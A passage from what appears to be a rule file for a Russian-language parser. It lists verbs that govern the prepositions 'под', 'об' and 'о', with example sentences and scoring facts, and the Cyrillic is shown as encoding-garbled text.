ะปะฐัั ะฟะพะฑะปะตัะบะธะฒะฐะปะธ ะฟะพะด ัะพะปะฝัะตะผ. (ะะะะะะกะะะะะขะฌ ะะะ)
rus_verbs:ะะ ะะขะฌะกะฏ{}, // ะฟะพะด ััะพะปะฐะผะธ ะดัะฐะปะธัั ะทะฐ ะบะพััะธ ะฟัั. (ะะ ะะขะฌะกะฏ ะะะ)
rus_verbs:ะะะงะะฃะขะฌะกะฏ{}, // ะฟะฐะปัะฑะฐ ะบะฐัะฝัะปะฐัั ั ะฝะฐั ะฟะพะด ะฝะพะณะฐะผะธ. (ะะะงะะฃะะะกะฌ ะะะ)
rus_verbs:ะะ ะะกะะกะขะฌ{}, // ะบะพะฝั ะดะฐะถะต ะฟัะธัะตะป ะฟะพะด ััะถะตะปัะผ ัะตะปะพะผ. (ะะ ะะกะะกะขะฌ ะะะ)
rus_verbs:ะะะขะฌ{}, // ะพะฝะธ ะถะธะฒัั ะฟะพะด ะทะตะผะปะตะน. (ะะะขะฌ ะะะ)
rus_verbs:ะะะะะ ะฃะะะขะฌ{}, // ะฒั ะผะพะถะตัะต ะพะฑะฝะฐััะถะธัั ะตะต ะฟะพะด ะฒะพะดะพะน? (ะะะะะ ะฃะะะขะฌ ะะะ)
rus_verbs:ะะะซะขะฌ{}, // ะััะป ะฟะปัะฒัั ะฟะพะด ะพะฑะปะฐะบะฐะผะธ. (ะะะซะขะฌ ะะะ)
rus_verbs:ะะกะงะะะะฃะขะฌ{}, // ะฟะพัะพะผ ะพะฝะธ ะธััะตะทะปะธ ะฟะพะด ะฒะพะดะพะน. (ะะกะงะะะะฃะขะฌ ะะะ)
rus_verbs:ะดะตัะถะฐัั{}, // ะพััะถะธะต ะฒัะต ะดะตัะถะฐะปะธ ะฟะพะด ััะบะพะน. (ะดะตัะถะฐัั ะะะ)
rus_verbs:ะะกะขะ ะะขะะขะฌะกะฏ{}, // ะพะฝะธ ะฒัััะตัะธะปะธัั ะฟะพะด ะฒะพะดะพะน. (ะะกะขะ ะะขะะขะฌะกะฏ ะะะ)
rus_verbs:ััะฝััั{}, // ะะธัะฐ ััะฝะตั ะฟะพะด ะพะดะตัะปะพะผ
rus_verbs:ะฟะพัะตะฒะตะปะธัััั{}, // ะฟะพัะตะฒะตะปะธัััั ะฟะพะด ะพะดะตัะปะพะผ
rus_verbs:ะทะฐะดะพั
ะฝััััั{}, // ะทะฐะดะพั
ะฝััััั ะฟะพะด ัะปะพะตะผ ัะฝะตะณะฐ
rus_verbs:ะฟะพัะตัั{}, // ะฟะพัะตัั ะฟะพะด ะธะทะฑััะพัะฝัะผ ะดะฐะฒะปะตะฝะธะตะผ
rus_verbs:ััะตะปะตัั{}, // ััะตะปะตัั ะฟะพะด ะทะฐะฒะฐะปะฐะผะธ
rus_verbs:ะผะตััะฐัั{}, // ะผะตััะฐัั ะฟะพะด ะปััะฐะผะธ ัะพัะธัะพะฒ
rus_verbs:ะฟะพะธัะบะฐัั{}, // ะฟะพะธัะบะฐัั ะฟะพะด ะบัะพะฒะฐััั
rus_verbs:ะณัะดะตัั{}, // ะณัะดะตัั ะฟะพะด ะฝะฐะณััะทะบะพะน
rus_verbs:ะฟะพัะธะดะตัั{}, // ะฟะพัะธะดะตัั ะฟะพะด ะฝะฐะฒะตัะพะผ
rus_verbs:ัะบัััััั{}, // ัะบัััััั ะฟะพะด ะฝะฐะฒะตัะพะผ
rus_verbs:ััะธั
ะฝััั{}, // ััะธั
ะฝััั ะฟะพะด ะพะดะตัะปะพะผ
rus_verbs:ะทะฐัะบัะธะฟะตัั{}, // ะทะฐัะบัะธะฟะตัั ะฟะพะด ััะถะตัััั
rus_verbs:ัะตะปะพั
ะฝััััั{}, // ัะตะปะพั
ะฝััััั ะฟะพะด ะพะดะตัะปะพะผ
ะธะฝัะธะฝะธัะธะฒ:ััะตะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ััะตะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ััะตะทะฐัั ะฟะพะด ะบะพัะตะฝั
ะดะตะตะฟัะธัะฐััะธะต:ััะตะทะฐะฒ{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ััะตะทะฐััะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะธะฝัะธะฝะธัะธะฒ:ััะตะทะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ััะตะทะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ััะตะทะฐั{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ััะตะทะฐะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะฟะพะฝะธะผะฐัััั{}, // ะฟะพะฝะธะผะฐัััั ะฟะพะด ััะฟะตั
ะพะผ
rus_verbs:ะฟะพะดัะฐะทัะผะตะฒะฐัััั{}, // ะฟะพะดัะฐะทัะผะตะฒะฐัััั ะฟะพะด ะฟัะฐะฒะธะปัะฝัะผ ัะตัะตะฝะธะตะผ
rus_verbs:ะฟัะพะผะพะบะฝััั{}, // ะฟัะพะผะพะบะฝััั ะฟะพะด ะฟัะพะปะธะฒะฝัะผ ะดะพะถะดะตะผ
rus_verbs:ะทะฐัะพัะฐัั{}, // ะทะฐัะพัะฐัั ะฟะพะด ะปะพะถะตัะบะพะน
rus_verbs:ะฟะพะดะฟะธัะฐัััั{}, // ะฟะพะดะฟะธัะฐัััั ะฟะพะด ะฒะพะทะทะฒะฐะฝะธะตะผ
rus_verbs:ัะบััะฒะฐัััั{}, // ัะบััะฒะฐัััั ะฟะพะด ะฝะฐะฒะตัะพะผ
rus_verbs:ะทะฐะฟัั
ัะตัั{}, // ะทะฐะฟัั
ัะตัั ะฟะพะด ะพะดะตัะปะพะผ
rus_verbs:ะผะพะบะฝััั{}, // ะผะพะบะฝััั ะฟะพะด ะปะพะถะดะตะผ
rus_verbs:ัะณะธะฑะฐัััั{}, // ัะณะธะฑะฐัััั ะฟะพะด ััะถะตัััั ัะฝะตะณะฐ
rus_verbs:ะฝะฐะผะพะบะฝััั{}, // ะฝะฐะผะพะบะฝััั ะฟะพะด ะดะพะถะดะตะผ
rus_verbs:ะฟะพะดะฟะธััะฒะฐัััั{}, // ะฟะพะดะฟะธััะฒะฐัััั ะฟะพะด ะพะฑัะฐัะตะฝะธะตะผ
rus_verbs:ัะฐัะฐั
ัะตัั{}, // ัะฐัะฐั
ัะตัั ะฟะพะด ะพะบะฝะฐะผะธ
ะธะฝัะธะฝะธัะธะฒ:ะฝะฐั
ะพะดะธัััั{ะฒะธะด:ะฝะตัะพะฒะตัั}, ะณะปะฐะณะพะป:ะฝะฐั
ะพะดะธัััั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะะฝะฐ ัะถะต ะฝะตัะบะพะปัะบะพ ะปะตั ะฝะฐั
ะพะดะธััั ะฟะพะด ะฝะฐะฑะปัะดะตะฝะธะตะผ ะฒัะฐัะฐ.
ะดะตะตะฟัะธัะฐััะธะต:ะฝะฐั
ะพะดััั{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดะธะฒัะธะนัั{ะฒะธะด:ะฝะตัะพะฒะตัั}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดััะธะนัั{},
rus_verbs:ะปะตะถะฐัั{}, // ะปะตะถะฐัั ะฟะพะด ะบะฐะฟะตะปัะฝะธัะตะน
rus_verbs:ะฒัะผะพะบะฐัั{}, // ะฒัะผะพะบะฐัั ะฟะพะด ะดะพะถะดัะผ
rus_verbs:ะฒัะผะพะบะฝััั{}, // ะฒัะผะพะบะฝััั ะฟะพะด ะดะพะถะดัะผ
rus_verbs:ะฟัะพะฒะพััะฐัั{}, // ะฟัะพะฒะพััะฐัั ะฟะพะด ะฝะพั
rus_verbs:ั
ะผัะบะฝััั{}, // ั
ะผัะบะฝััั ะฟะพะด ะฝะพั
rus_verbs:ะพัััะบะฐัั{}, // ะพัััะบะฐัั ะฟะพะด ะบัะพะฒะฐััั
rus_verbs:ะดัะพะณะฝััั{}, // ะดัะพะณะฝััั ะฟะพะด ัะดะฐัะฐะผะธ
rus_verbs:ะฟัะพัะฒะปััััั{}, // ะฟัะพัะฒะปััััั ะฟะพะด ะฝะฐะณััะทะบะพะน
rus_verbs:ัะดะตัะถะฐัั{}, // ัะดะตัะถะฐัั ะฟะพะด ะบะพะฝััะพะปะตะผ
rus_verbs:ะปะพะถะธัััั{}, // ะปะพะถะธัััั ะฟะพะด ะบะปะธะตะฝัะฐ
rus_verbs:ัะฐััั{}, // ัะฐััั ะฟะพะด ะฒะตัะตะฝะฝะธะผ ัะพะปะฝัะตะผ
rus_verbs:ะฟะพะบะฐัะธัััั{}, // ะฟะพะบะฐัะธัััั ะฟะพะด ะพัะบะพั
rus_verbs:ะปะตัั{}, // ะพะฝ ะปะตะณ ะฟะพะด ะฝะฐะฒะตัะพะผ
rus_verbs:ะธะดัะธ{}, // ะธะดัะธ ะฟะพะด ะดะพะถะดะตะผ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะธะทะฒะตััะฝัะน{}, // ะะฝ ะธะทะฒะตััะตะฝ ะฟะพะด ััะธะผ ะธะผะตะฝะตะผ.
rus_verbs:ััะพััั{}, // ะฏัะธะบ ััะพะธั ะฟะพะด ััะพะปะพะผ.
rus_verbs:ะพััััะฟะธัั{}, // ะัะฐะณ ะพััััะฟะธะป ะฟะพะด ัะดะฐัะฐะผะธ ะฝะฐัะธั
ะฒะพะนัะบ.
rus_verbs:ัะฐัะฐะฟะฐัััั{}, // ะััั ัะฐัะฐะฟะฐะตััั ะฟะพะด ะฟะพะปะพะผ.
rus_verbs:ัะฟะฐัั{}, // ะทะฐัั ัะฟะพะบะพะนะฝะพ ัะฟะฐะป ั ัะตะฑั ะฟะพะด ะบัััะพะผ
rus_verbs:ะทะฐะณะพัะฐัั{}, // ะผั ะทะฐะณะพัะฐะตะผ ะฟะพะด ัะพะปะฝัะตะผ
ะะ_ะะะค(ะผััั), // ะผััั ััะบะธ ะฟะพะด ัััััะน ะฒะพะดั
ะะ_ะะะค(ะทะฐะบะพะฟะฐัั),
ะะ_ะะะค(ัะฟัััะฐัั),
ะะ_ะะะค(ะฟัััะฐัั),
ะะ_ะะะค(ะฟะตัะตะฟัััะฐัั)
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะะ_ัะฒะพั ะฟัะตะดะปะพะณ:ะฟะพะด{} *:*{ ะฟะฐะดะตะถ:ัะฒะพั } }
then return true
}
// ะดะปั ะณะปะฐะณะพะปะพะฒ ะฒะฝะต ัะฟะธัะบะฐ - ะทะฐะฟัะตัะฐะตะผ.
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฟะพะด{} *:*{ ะฟะฐะดะตะถ:ัะฒะพั } }
then return false,-10
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฟะพะด{} *:*{} }
then return false,-11
}
#endregion ะัะตะดะปะพะณ_ะะะ
*/
#region ะัะตะดะปะพะณ_ะะ
// -------------- ะะ ะะะะะ 'ะะ' -----------------------
wordentry_set ะะป_ะะ_ะฟัะตะดะป=
{
rus_verbs:ะกะะะะะขะะะฌะกะขะะะะะขะฌ{}, // ะะฑ ะธั
ะฟัะธัััััะฒะธะธ ัะฒะธะดะตัะตะปัััะฒะพะฒะฐะปะพ ะปะธัั ัััะบะปะพะต ะฟััะฟััะฝะพะต ะฟััะฝะพ, ะฟัะพัััะฟะฐะฒัะตะต ะฝะฐ ะบะฐะผะฝะต. (ะกะะะะะขะะะฌะกะขะะะะะขะฌ)
rus_verbs:ะะะะฃะะะขะฌะกะฏ{}, // ะัะพะผััะปะตะฝะฝัะต ะณะธะณะฐะฝัั ะทะฐะดัะผะฐะปะธัั ะพะฑ ัะบะพะปะพะณะธะธ (ะะะะฃะะะขะฌะกะฏ)
rus_verbs:ะกะะ ะะกะะขะฌ{}, // ะะฝ ัะฟัะพัะธะป ะฝะตัะบะพะปัะบะธั
ะธะท ะฟะปัะถะฝะธะบะพะฒ ะพะฑ ะธั
ะบะฐะถััะตะนัั ะฒัะตะพะฑัะตะน ัะฝะพััะธ. (ะกะะ ะะกะะขะฌ)
rus_verbs:ัะฟัะฐัะธะฒะฐัั{}, // ะบะฐะบ ัั ะผะพะถะตัั ะตัะต ัะฟัะฐัะธะฒะฐัั ั ะผะตะฝั ะพะฑ ััะพะผ?
rus_verbs:ะทะฐะฑัะฒะฐัั{}, // ะั ะฝะต ะผะพะถะตะผ ะทะฐะฑัะฒะฐัั ะพะฑ ะธั
ััะฐััะธ.
rus_verbs:ะะะะะขะฌ{}, // ัะตะฟะตัั ะพะฑ ััะพะผ ะผะพะถะฝะพ ะปะธัั ะณะฐะดะฐัั (ะะะะะขะฌ)
rus_verbs:ะะะะะะะขะฌ{}, // ะัะฐะดะพะฝะฐัะฐะปัะฝะธะบ , ะฒััััะฟะฐั ั ะพะฑะทะพัะพะผ ะพัะฝะพะฒะฝัั
ะณะพัะพะดัะบะธั
ัะพะฑััะธะน , ะฟะพะฒะตะดะฐะป ะพะฑ ััะพะผ ะดะตะฟััะฐัะฐะผ (ะะะะะะะขะฌ ะะ)
rus_verbs:ะกะะะะฉะะขะฌ{}, // ะัะฐะฝ ัะพะพะฑัะธะป ะะะะะขะญ ะพะฑ ััะบะพัะตะฝะธะธ ะพะฑะพะณะฐัะตะฝะธั ััะฐะฝะฐ (ะกะะะะฉะะขะฌ)
rus_verbs:ะะะฏะะะขะฌ{}, // ะะฑ ะธั
ััะฟะตัะฝะพะผ ะพะบะพะฝัะฐะฝะธะธ ะทะฐัะฒะธะป ะณะตะฝะตัะฐะปัะฝัะน ะดะธัะตะบัะพั (ะะะฏะะะขะฌ ะะ)
rus_verbs:ัะปััะฐัั{}, // ะดะฐะถะต ะพะฝะธ ัะปััะฐะปะธ ะพะฑ ััะพะผ ัะตะปะพะฒะตะบะต. (ะกะะซะจะะขะฌ ะะ)
rus_verbs:ะะะะะะะขะฌ{}, // ะฒะตัะฝัะฒัะธะตัั ัะฐะทะฒะตะดัะธะบะธ ะดะพะปะพะถะธะปะธ ะพะฑ ัะฒะธะดะตะฝะฝะพะผ (ะะะะะะะขะฌ ะะ)
rus_verbs:ะะะะะะะ ะะขะฌ{}, // ะดะฐะฒะฐะน ะฟะพะณะพะฒะพัะธะผ ะพะฑ ััะพะผ. (ะะะะะะะ ะะขะฌ ะะ)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ะพะฑ ะพััะฐะปัะฝะพะผ ะฝะตัััะดะฝะพ ะดะพะณะฐะดะฐัััั. (ะะะะะะะขะฌะกะฏ ะะ)
rus_verbs:ะะะะะะะขะะขะฌะกะฏ{}, // ะพะฑะตัะฐะป ะพะฑะพ ะฒัะตะผ ะฟะพะทะฐะฑะพัะธัััั. (ะะะะะะะขะะขะฌะกะฏ ะะ)
rus_verbs:ะะะะะะซะขะฌ{}, // ะจััะฐ ะฟะพะทะฐะฑัะป ะพะฑะพ ะฒัะตะผ. (ะะะะะะซะขะฌ ะะ)
rus_verbs:ะฒัะฟะพะผะธะฝะฐัั{}, // ะะฟะพัะปะตะดััะฒะธะธ ะพะฝ ะฝะต ัะฐะท ะฒัะฟะพะผะธะฝะฐะป ะพะฑ ััะพะผ ะฟัะธะบะปััะตะฝะธะธ. (ะฒัะฟะพะผะธะฝะฐัั ะพะฑ)
rus_verbs:ัะพะพะฑัะฐัั{}, // ะะฐะทะตัะฐ ัะพะพะฑัะฐะตั ะพะฑ ะพัะบัััะธะธ ัะตััะธะธ ะฟะฐัะปะฐะผะตะฝัะฐ. (ัะพะพะฑัะฐัั ะพะฑ)
rus_verbs:ะฟัะพัะธัั{}, // ะผั ะฟัะพัะธะปะธ ะพะฑ ะพัััะพัะบะต ะฟะปะฐัะตะถะตะน (ะฟัะพัะธัั ะะ)
rus_verbs:ะะะขะฌ{}, // ััะฐ ะถะต ะดะตะฒััะบะฐ ะฟะตะปะฐ ะพะฑะพ ะฒัะตะผ ัะพะฒะตััะตะฝะฝะพ ะพัะบัััะพ. (ะะะขะฌ ะะ)
rus_verbs:ัะบะฐะทะฐัั{}, // ัั ัะบะฐะถะตัั ะพะฑ ััะพะผ ะบะฐะฟะธัะฐะฝั? (ัะบะฐะทะฐัั ะะ)
rus_verbs:ะทะฝะฐัั{}, // ะฑั ั
ะพัะตะปะพัั ะทะฝะฐัั ะบะฐะบ ะผะพะถะฝะพ ะฑะพะปััะต ะพะฑ ััะพะผ ัะฐะนะพะฝะต.
rus_verbs:ะบัะธัะฐัั{}, // ะัะต ะณะฐะทะตัั ะบัะธัะฐั ะพะฑ ััะพะผ ัะพะฑััะธะธ.
rus_verbs:ัะพะฒะตัะพะฒะฐัััั{}, // ะะฝะฐ ะพะฑะพ ะฒััะผ ัะพะฒะตััะตััั ั ะผะฐัะตััั.
rus_verbs:ะณะพะฒะพัะธัััั{}, // ะพะฑ ะพััะฐะปัะฝะพะผ ะณะพะฒะพัะธะปะพัั ะปะตะณะบะพ.
rus_verbs:ะฟะพะดัะผะฐัั{}, // ะฝัะถะฝะพ ะบัะตะฟะบะพ ะพะฑะพ ะฒัะตะผ ะฟะพะดัะผะฐัั.
rus_verbs:ะฝะฐะฟะพะผะฝะธัั{}, // ัะตัะฝัะน ะดัะผ ะฝะฐะฟะพะผะฝะธะป ะพะฑ ะพะฟะฐัะฝะพััะธ.
rus_verbs:ะทะฐะฑััั{}, // ะทะฐะฑัะดั ะพะฑ ััะพะน ัะพัะบะพัะธ.
rus_verbs:ะดัะผะฐัั{}, // ะฟัะธั
ะพะดะธััั ะพะฑะพ ะฒัะตะผ ะดัะผะฐัั ัะฐะผะพะน.
rus_verbs:ะพััะฐะฟะพััะพะฒะฐัั{}, // ะพััะฐะฟะพััะพะฒะฐัั ะพะฑ ััะฟะตั
ะฐั
rus_verbs:ะธะฝัะพัะผะธัะพะฒะฐัั{}, // ะธะฝัะพัะผะธัะพะฒะฐัั ะพะฑ ะธะทะผะตะฝะตะฝะธัั
rus_verbs:ะพะฟะพะฒะตััะธัั{}, // ะพะฟะพะฒะตััะธัั ะพะฑ ะพัะบะฐะทะต
rus_verbs:ัะฑะธะฒะฐัััั{}, // ัะฑะธะฒะฐัััั ะพะฑ ััะตะฝั
rus_verbs:ัะฐััะธะฑะธัั{}, // ัะฐััะธะฑะธัั ะพะฑ ััะตะฝั
rus_verbs:ะทะฐะณะพะฒะพัะธัั{}, // ะทะฐะณะพะฒะพัะธัั ะพะฑ ะพะฟะปะฐัะต
rus_verbs:ะพัะพะทะฒะฐัััั{}, // ะะฝ ะพัะพะทะฒะฐะปัั ะพะฑ ััะพะน ะบะฝะธะณะต ั ะฑะพะปััะพะน ะฟะพั
ะฒะฐะปะพะน.
rus_verbs:ะฟะพะฟัะพัะธัั{}, // ะฟะพะฟัะพัะธัั ะพะฑ ััะปัะณะต
rus_verbs:ะพะฑััะฒะธัั{}, // ะพะฑััะฒะธัั ะพะฑ ะพัััะฐะฒะบะต
rus_verbs:ะฟัะตะดัะฟัะตะดะธัั{}, // ะฟัะตะดัะฟัะตะดะธัั ะพะฑ ะฐะฒะฐัะธะธ
rus_verbs:ะฟัะตะดัะฟัะตะถะดะฐัั{}, // ะฟัะตะดัะฟัะตะถะดะฐัั ะพะฑ ะพะฟะฐัะฝะพััะธ
rus_verbs:ัะฒะตัะดะธัั{}, // ัะฒะตัะดะธัั ะพะฑ ะพะฑัะทะฐะฝะฝะพัััั
rus_verbs:ะทะฐัะฒะปััั{}, // ะทะฐัะฒะปััั ะพะฑ ัะบัะฟะตัะธะผะตะฝัะฐะปัะฝะพะผ ะฟะพะดัะฒะตัะถะดะตะฝะธะธ
rus_verbs:ัะฐัััะถะดะฐัั{}, // ัะฐัััะถะดะฐัั ะพะฑ ะฐะฑัััะฐะบัะฝัั
ะธะดะตัั
rus_verbs:ะณะพะฒะพัะธัั{}, // ะะต ะณะพะฒะพัะธัะต ะพะฑ ััะพะผ ะฒ ะฟัะธัััััะฒะธะธ ััะตััะธั
ะปะธั.
rus_verbs:ัะธัะฐัั{}, // ะพะฝ ัะธัะฐะป ะพะฑ ััะพะผ ะฒ ะถััะฝะฐะปะต
rus_verbs:ะฟัะพัะธัะฐัั{}, // ะพะฝ ัะธัะฐะป ะพะฑ ััะพะผ ะฒ ััะตะฑะฝะธะบะต
rus_verbs:ัะทะฝะฐัั{}, // ะพะฝ ัะทะฝะฐะป ะพะฑ ััะพะผ ะธะท ัะธะปัะผะพะฒ
rus_verbs:ัะฐััะบะฐะทะฐัั{}, // ัะฐััะบะฐะทะฐัั ะพะฑ ัะบะทะฐะผะตะฝะฐั
rus_verbs:ัะฐััะบะฐะทัะฒะฐัั{},
rus_verbs:ะดะพะณะพะฒะพัะธัััั{}, // ะดะพะณะพะฒะพัะธัััั ะพะฑ ะพะฟะปะฐัะต
rus_verbs:ะดะพะณะพะฒะฐัะธะฒะฐัััั{}, // ะดะพะณะพะฒะฐัะธะฒะฐัััั ะพะฑ ะพะฑะผะตะฝะต
rus_verbs:ะฑะพะปัะฐัั{}, // ะะต ะฑะพะปัะฐะน ะพะฑ ััะพะผ!
rus_verbs:ะฟัะพะฑะพะปัะฐัััั{}, // ะะต ะฟัะพะฑะพะปัะฐะนัั ะพะฑ ััะพะผ!
rus_verbs:ะทะฐะฑะพัะธัััั{}, // ะบัะพ ะทะฐะฑะพัะธััั ะพะฑ ััะตะณัะปะธัะพะฒะฐะฝะธะธ
rus_verbs:ะฑะตัะฟะพะบะพะธัััั{}, // ะฒั ะฑะตัะฟะพะบะพะธัะตัั ะพะฑ ะพะฑะพัะพะฝะต
rus_verbs:ะฟะพะผะฝะธัั{}, // ะฒัะตะผ ัะพะฒะตััั ะพะฑ ััะพะผ ะฟะพะผะฝะธัั
rus_verbs:ะผะตััะฐัั{} // ะะตััะฐัั ะพะฑ ััะฟะตั
ะต
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะ_ะฟัะตะดะป ะฟัะตะดะปะพะณ:ะพะฑ{} *:*{ ะฟะฐะดะตะถ:ะฟัะตะดะป } }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะพ{} @regex("[a-z]+[0-9]*") }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะพะฑ{} @regex("[a-z]+[0-9]*") }
then return true
}
// ะพััะฐะปัะฝัะต ะณะปะฐะณะพะปั ะฝะต ะผะพะณัั ัะฒัะทัะฒะฐัััั
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะพะฑ{} *:*{ ะฟะฐะดะตะถ:ะฟัะตะดะป } }
then return false, -4
}
wordentry_set ะะป_ะะ_ะฒะธะฝ=
{
rus_verbs:ะกะะะะะขะฌ{}, // ะฟะพัะพะผ ะพะฑ ะบะพะปะตะฝะพ ัะปะพะผะฐะป (ะกะะะะะขะฌ)
rus_verbs:ัะฐะทะฑะธัั{}, // ัั ัะฐะทะฑะธะป ัะตะบั ะพะฑ ัะณะพะป ััะธะบะฐ. (ะ ะะะะะขะฌ ะะ)
rus_verbs:ะพะฟะตัะตัััั{}, // ะะฝ ะพะฟัััั ะพะฑ ััะตะฝั.
rus_verbs:ะพะฟะธัะฐัััั{},
rus_verbs:ะฟะพััััะฐัั{}, // ะฟะพััััะฐะป ะปะฑะพะผ ะพะฑ ะฟะพะป.
rus_verbs:ัะดะฐัะธัััั{}, // ะฑัััะปะบะฐ ะณะปัั
ะพ ัะดะฐัะธะปะฐัั ะพะฑ ะทะตะผะปั.
rus_verbs:ัะฑะธะฒะฐัััั{}, // ัะฑะธะฒะฐัััั ะพะฑ ััะตะฝั
rus_verbs:ัะฐััะธะฑะธัั{}, // ัะฐััะธะฑะธัั ะพะฑ ััะตะฝั
rus_verbs:ัะฐัะฐะฟะฐัััั{} // ะะฝะธัะต ะปะพะดะบะธ ัะฐัะฐะฟะฐะปะพัั ะพะฑะพ ััะพ-ัะพ.
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะ_ะฒะธะฝ ะฟัะตะดะปะพะณ:ะพะฑ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะพะฑ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return false,-4
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะพะฑ{} *:*{} }
then return false,-5
}
#endregion ะัะตะดะปะพะณ_ะะ
#region ะัะตะดะปะพะณ_ะ
// ------------------- ะก ะะ ะะะะะะะ 'ะ' ----------------------
wordentry_set ะะป_ะ_ะะธะฝ={
rus_verbs:ัะผัะบะฝััั{}, // ะะน ั
ะพัะตะปะพัั ัะผัะบะฝััั ะธะผะธ ะพ ััะตะฝั.
rus_verbs:ะฑะพะปัะฐัั{}, // ะะพะปัะฐะปะธ ัะฐัะต ะฒัะตะณะพ ะพ ะฟััััะบะฐั
.
rus_verbs:ัะฒะฐัะบะฝััั{}, // ะะฝะฐ ัะฒะฐัะบะฝัะปะฐ ัััะฑะบะพะน ะพ ัััะฐะณ.
rus_verbs:ะพะฟะธัะฐัััั{}, // ะะฐัั ะฟัะธะฟะพะดะฝัะปะฐัั, ั ัััะดะพะผ ะพะฟะธัะฐััั ะพ ััะพะป.
rus_verbs:ะฑะฐั
ะฝััััั{}, // ะะฐั
ะฝััััั ะณะพะปะพะฒะพะน ะพ ััะพะป.
rus_verbs:ะะซะขะะ ะะขะฌ{}, // ะััะฐัะธ ะฝะพะถ ะธ ะฒัััะธ ะตะณะพ ะพ ััะฐะฒั. (ะะซะขะะ ะะขะฌ/ะะซะขะะ ะะขะฌ)
rus_verbs:ะะซะขะะ ะะขะฌ{}, //
rus_verbs:ะ ะะะะะขะฌะกะฏ{}, // ะัะธะฑะพะน ะฝะฐะบะฐัะธะปัั ะธ ั ััะผะพะผ ัะฐะทะฑะธะปัั ะพ ะฑะตะปัะน ะฟะตัะพะบ. (ะ ะะะะะขะฌะกะฏ)
rus_verbs:ะกะขะฃะะะฃะขะฌ{}, // ะกะตัะดัะต ะตะณะพ ะณะปัั
ะพ ัััะบะฝัะปะพ ะพ ะณััะดะฝัั ะบะพััั (ะกะขะฃะะะฃะขะฌ)
rus_verbs:ะะฏะะะะฃะขะฌ{}, // ะะฝ ะบะธะฝัะปัั ะฝะฐะทะตะผั, ะฟะพะบะฐัะธะปัั, ะธ ะบะพะฟัะต ะปัะทะณะฝัะปะพ ะพ ััะตะฝั. (ะะฏะะะะฃะขะฌ/ะะฏะะะะขะฌ)
rus_verbs:ะะฏะะะะขะฌ{}, //
rus_verbs:ะทะฒะตะฝะตัั{}, // ัััะตะปั ัะถะต ะทะฒะตะฝะตะปะธ ะพ ะฟััััั ะบะปะตัะบะธ
rus_verbs:ะฉะะะะะฃะขะฌ{}, // ะบะฐะผะตะฝั ัะตะปะบะฝัะป ะพ ัะบะฐะปั (ะฉะะะะะฃะขะฌ)
rus_verbs:ะะะขะฌ{}, // ะฒะพะปะฝะฐ ะฑัะตั ะพ ะฑะตัะตะณ (ะะะขะฌ)
rus_verbs:ะะะะะะะะขะฌ{}, // ะทะฐะทะฒะตะฝะตะปะธ ะผะตัะธ ะพ ัะธัั (ะะะะะะะะขะฌ)
rus_verbs:ะบะพะปะพัะธัััั{}, // ัะตัะดัะต ะตะณะพ ะบะพะปะพัะธะปะพัั ะพ ัะตะฑัะฐ
rus_verbs:ััััะฐัั{}, // ะณะปัั
ะพ ััััะฐะปะธ ะพ ัะธัั ััะบะพััะธ ะผะตัะตะน.
rus_verbs:ะฑะธัััั{}, // ะฑะธัััั ะณะพะปะพะฒะพะน ะพ ััะตะฝั? (ะฑะธัััั ะพ)
rus_verbs:ัะดะฐัะธัั{}, // ะฒะพะดะฐ ัะดะฐัะธะปะฐ ะตะณะพ ะพ ััะตะฝั ะบะพัะธะดะพัะฐ. (ัะดะฐัะธะปะฐ ะพ)
rus_verbs:ัะฐะทะฑะธะฒะฐัััั{}, // ะฒะพะปะฝั ัะฐะทะฑะธะฒะฐะปะธัั ะพ ัะบะฐะปั
rus_verbs:ัะฐะทะฑะธะฒะฐัั{}, // ะ ะฐะทะฑะธะฒะฐะตั ะณะพะปะพะฒั ะพ ะฟััััั ะบะปะตัะบะธ.
rus_verbs:ะพะฑะปะพะบะพัะธัััั{}, // ะพะฑะปะพะบะพัะธัััั ะพ ััะตะฝั
rus_verbs:ัะพัะธัั{}, // ัะพัะธัั ะพ ัะพัะธะปัะฝัะน ะบะฐะผะตะฝั
rus_verbs:ัะฟะพััะบะฐัััั{}, // ัะฟะพััะบะฐัััั ะพ ัะฟัััะฐะฒัะธะนัั ะฒ ััะฐะฒะต ะฟะตะฝั
rus_verbs:ะฟะพัะตัะตัััั{}, // ะฟะพัะตัะตัััั ะพ ะดะตัะตะฒะพ
rus_verbs:ััะธะฑะธัััั{}, // ััะธะฑะธัััั ะพ ะดะตัะตะฒะพ
rus_verbs:ัะตัะตัััั{}, // ัะตัะตัััั ะพ ััะฒะพะป
rus_verbs:ัะผัะบะฝััััั{}, // ัะผัะบะฝััััั ะพ ะทะตะผะปั
rus_verbs:ัะฑะธะฒะฐัััั{}, // ัะฑะธะฒะฐัััั ะพะฑ ััะตะฝั
